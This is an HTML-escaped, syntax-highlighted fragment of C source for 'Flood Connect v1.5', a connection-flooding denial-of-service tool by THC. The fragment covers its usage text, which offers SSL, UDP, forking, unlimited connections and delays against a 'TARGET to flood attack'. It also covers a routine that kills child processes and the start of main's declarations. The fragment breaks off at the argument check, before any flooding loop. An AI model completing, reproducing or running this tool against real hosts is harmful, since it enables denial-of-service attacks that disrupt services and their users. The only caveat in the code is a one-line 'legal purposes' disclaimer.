class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(&amp;quot;Flood&amp;nbsp;Connect&amp;nbsp;v1.5&amp;nbsp;(c)&amp;nbsp;2002&amp;nbsp;by&amp;nbsp;van&amp;nbsp;Hauser&amp;nbsp;/THC&amp;nbsp;&amp;lt;vh@reptile.rug.ac.be&amp;gt; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;Syntax:&amp;nbsp;%s&amp;nbsp;[-S]&amp;nbsp;[-u]&amp;nbsp;[-p&amp;nbsp;port]&amp;nbsp;[-i&amp;nbsp;file]&amp;nbsp;[-n&amp;nbsp;connects]&amp;nbsp;[-N&amp;nbsp;delay]&amp;nbsp;[-c]&amp;nbsp;[-C&amp;nbsp;delay]&amp;nbsp;[-d]&amp;nbsp;[-D&amp;nbsp;delay]&amp;nbsp;[-e]&amp;nbsp;[-k]&amp;nbsp;[-v]&amp;nbsp;TARGET &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;Options: &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;-S&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;use&amp;nbsp;SSL&amp;nbsp;after&amp;nbsp;TCP&amp;nbsp;connect&amp;nbsp;(not&amp;nbsp;usuable&amp;nbsp;with&amp;nbsp;-u,&amp;nbsp;sets&amp;nbsp;port=443) &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;-u&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;use&amp;nbsp;UDP&amp;nbsp;protocol&amp;nbsp;(&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;default&lt;/span&gt;&lt;span&gt;:&amp;nbsp;TCP)&amp;nbsp;(not&amp;nbsp;usable&amp;nbsp;with&amp;nbsp;-c) &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;-p&amp;nbsp;port&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;port&amp;nbsp;to&amp;nbsp;connect&amp;nbsp;to&amp;nbsp;(&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;default&lt;/span&gt;&lt;span&gt;:&amp;nbsp;%d) &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;-f&amp;nbsp;forks&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;number&amp;nbsp;of&amp;nbsp;forks&amp;nbsp;to&amp;nbsp;additionally&amp;nbsp;spawn&amp;nbsp;(&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;default&lt;/span&gt;&lt;span&gt;:&amp;nbsp;0) &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;-i&amp;nbsp;file&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;data&amp;nbsp;to&amp;nbsp;send&amp;nbsp;to&amp;nbsp;the&amp;nbsp;port&amp;nbsp;(&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;default&lt;/span&gt;&lt;span&gt;:&amp;nbsp;none) &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;-n&amp;nbsp;connects&amp;nbsp;&amp;nbsp;maximum&amp;nbsp;number&amp;nbsp;of&amp;nbsp;connects&amp;nbsp;(&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;default&lt;/span&gt;&lt;span&gt;:&amp;nbsp;unlimited) &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;-N&amp;nbsp;delay&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;delay&amp;nbsp;between&amp;nbsp;connects&amp;nbsp;in&amp;nbsp;ms&amp;nbsp;(&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;default&lt;/span&gt;&lt;span&gt;:&amp;nbsp;0) &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;-c&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;close&amp;nbsp;after&amp;nbsp;connect&amp;nbsp;(and&amp;nbsp;sending&amp;nbsp;data,&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;used&amp;nbsp;with&amp;nbsp;-i) &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;use&amp;nbsp;twice&amp;nbsp;to&amp;nbsp;shutdown&amp;nbsp;SSL&amp;nbsp;sessions&amp;nbsp;hard&amp;nbsp;(-S&amp;nbsp;-c&amp;nbsp;-c) &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;-C&amp;nbsp;delay&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;delay&amp;nbsp;before&amp;nbsp;closing&amp;nbsp;the&amp;nbsp;port&amp;nbsp;(&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;for&lt;/span&gt;&lt;span&gt;&amp;nbsp;use&amp;nbsp;with&amp;nbsp;-c)&amp;nbsp;(&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;default&lt;/span&gt;&lt;span&gt;:&amp;nbsp;0) &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;-d&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;dump&amp;nbsp;data&amp;nbsp;read&amp;nbsp;from&amp;nbsp;server &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;-D&amp;nbsp;delay&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;delay&amp;nbsp;before&amp;nbsp;trying&amp;nbsp;to&amp;nbsp;read+dump&amp;nbsp;data&amp;nbsp;from&amp;nbsp;server&amp;nbsp;(&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;default&lt;/span&gt;&lt;span&gt;:&amp;nbsp;0) &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;-e&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;stop&amp;nbsp;when&amp;nbsp;no&amp;nbsp;more&amp;nbsp;connects&amp;nbsp;possible&amp;nbsp;(&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;default&lt;/span&gt;&lt;span&gt;:&amp;nbsp;retry&amp;nbsp;forever) &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;-k&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;no&amp;nbsp;keep-alive&amp;nbsp;after&amp;nbsp;finnishing&amp;nbsp;with&amp;nbsp;connects,&amp;nbsp;terminate! &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;-v&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;verbose&amp;nbsp;mode &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;TARGET&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;target&amp;nbsp;to&amp;nbsp;flood&amp;nbsp;attack&amp;nbsp;(ip&amp;nbsp;or&amp;nbsp;dns) &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;Connection&amp;nbsp;flooder.&amp;nbsp;Nothing&amp;nbsp;more&amp;nbsp;to&amp;nbsp;say.&amp;nbsp;Use&amp;nbsp;only&amp;nbsp;allowed&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;for&lt;/span&gt;&lt;span&gt;&amp;nbsp;legal&amp;nbsp;purposes. &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;Visit&amp;nbsp;our&amp;nbsp;homepage&amp;nbsp;at&amp;nbsp;http:&lt;/span&gt;&lt;span class=&quot;comment&quot;&gt;//www.thehackerschoice.com &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;quot;,&amp;nbsp;prg,&amp;nbsp;PORT); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit(-1); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;} &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;void&lt;/span&gt;&lt;span&gt;&amp;nbsp;kill_children(&lt;/span&gt;&lt;span class=&quot;datatypes&quot;&gt;int&lt;/span&gt;&lt;span&gt;&amp;nbsp;signo)&amp;nbsp;{ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;datatypes&quot;&gt;int&lt;/span&gt;&lt;span&gt;&amp;nbsp;i&amp;nbsp;=&amp;nbsp;0; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;while&lt;/span&gt;&lt;span&gt;&amp;nbsp;(i&amp;nbsp;&amp;lt;&amp;nbsp;forks)&amp;nbsp;{ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;kill(pids[i],&amp;nbsp;SIGTERM); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;i++; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;usleep(10000); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;i&amp;nbsp;=&amp;nbsp;0; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;while&lt;/span&gt;&lt;span&gt;&amp;nbsp;(i&amp;nbsp;&amp;lt;&amp;nbsp;forks)&amp;nbsp;{ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;kill(pids[i],&amp;nbsp;SIGKILL); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;i++; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit(-1); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;} &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class=&quot;datatypes&quot;&gt;int&lt;/span&gt;&lt;span&gt;&amp;nbsp;main(&lt;/span&gt;&lt;span class=&quot;datatypes&quot;&gt;int&lt;/span&gt;&lt;span&gt;&amp;nbsp;argc,&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;datatypes&quot;&gt;char&lt;/span&gt;&lt;span&gt;&amp;nbsp;*argv[])&amp;nbsp;{ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;datatypes&quot;&gt;short&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;datatypes&quot;&gt;int&lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;port&amp;nbsp;=&amp;nbsp;PORT; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;datatypes&quot;&gt;long&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;datatypes&quot;&gt;int&lt;/span&gt;&lt;span&gt;&amp;nbsp;max_connects&amp;nbsp;=&amp;nbsp;UNLIMITED; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;datatypes&quot;&gt;int&lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;verbose&amp;nbsp;=&amp;nbsp;0; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;datatypes&quot;&gt;int&lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;close_connection&amp;nbsp;=&amp;nbsp;0; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;datatypes&quot;&gt;int&lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit_on_sock_error&amp;nbsp;=&amp;nbsp;0; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;datatypes&quot;&gt;int&lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;use_ssl&amp;nbsp;=&amp;nbsp;0; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;datatypes&quot;&gt;int&lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;keep_alive&amp;nbsp;=&amp;nbsp;1; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;datatypes&quot;&gt;int&lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;debug&amp;nbsp;=&amp;nbsp;0; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;datatypes&quot;&gt;int&lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;dump&amp;nbsp;=&amp;nbsp;0; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;datatypes&quot;&gt;long&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;datatypes&quot;&gt;int&lt;/span&gt;&lt;span&gt;&amp;nbsp;connect_delay&amp;nbsp;=&amp;nbsp;0,&amp;nbsp;close_delay&amp;nbsp;=&amp;nbsp;0,&amp;nbsp;dump_delay&amp;nbsp;=&amp;nbsp;0; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;datatypes&quot;&gt;char&lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;*infile&amp;nbsp;=&amp;nbsp;NULL; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;struct&lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;stat&amp;nbsp;st; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;datatypes&quot;&gt;FILE&lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;*f&amp;nbsp;=&amp;nbsp;NULL; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;datatypes&quot;&gt;char&lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;*str&amp;nbsp;=&amp;nbsp;NULL; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;datatypes&quot;&gt;int&lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;str_len&amp;nbsp;=&amp;nbsp;0; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;datatypes&quot;&gt;int&lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;i; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;datatypes&quot;&gt;int&lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;s; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;datatypes&quot;&gt;int&lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ret; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;datatypes&quot;&gt;int&lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;err; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;datatypes&quot;&gt;int&lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;client&amp;nbsp;=&amp;nbsp;0; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;datatypes&quot;&gt;int&lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;reads; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;datatypes&quot;&gt;int&lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sock_type&amp;nbsp;=&amp;nbsp;SOCK_STREAM; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;datatypes&quot;&gt;int&lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sock_protocol&amp;nbsp;=&amp;nbsp;IPPROTO_TCP; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;datatypes&quot;&gt;char&lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;buf[8196]; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;datatypes&quot;&gt;long&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;datatypes&quot;&gt;int&lt;/span&gt;&lt;span&gt;&amp;nbsp;count,&amp;nbsp;successful; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;struct&lt;/span&gt;&lt;span&gt;&amp;nbsp;sockaddr_in&amp;nbsp;target; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;struct&lt;/span&gt;&lt;span&gt;&amp;nbsp;hostent&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;*resolv; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;struct&lt;/span&gt;&lt;span&gt;&amp;nbsp;rlimit&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;rlim; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;datatypes&quot;&gt;int&lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pidcount&amp;nbsp;=&amp;nbsp;0,&amp;nbsp;res&amp;nbsp;=&amp;nbsp;0; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;prg&amp;nbsp;=&amp;nbsp;argv[0]; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;err&amp;nbsp;=&amp;nbsp;0; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(argc&amp;nbsp;&amp;lt;&amp;nbsp;2&amp;nbsp;||&amp;nbsp;strncmp(argv[1],&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&amp;quot;-h&amp;quot;&lt;/span&gt;&lt;span&gt;,&amp;nbsp;2)&amp;nbsp;==&amp;nbsp;0) 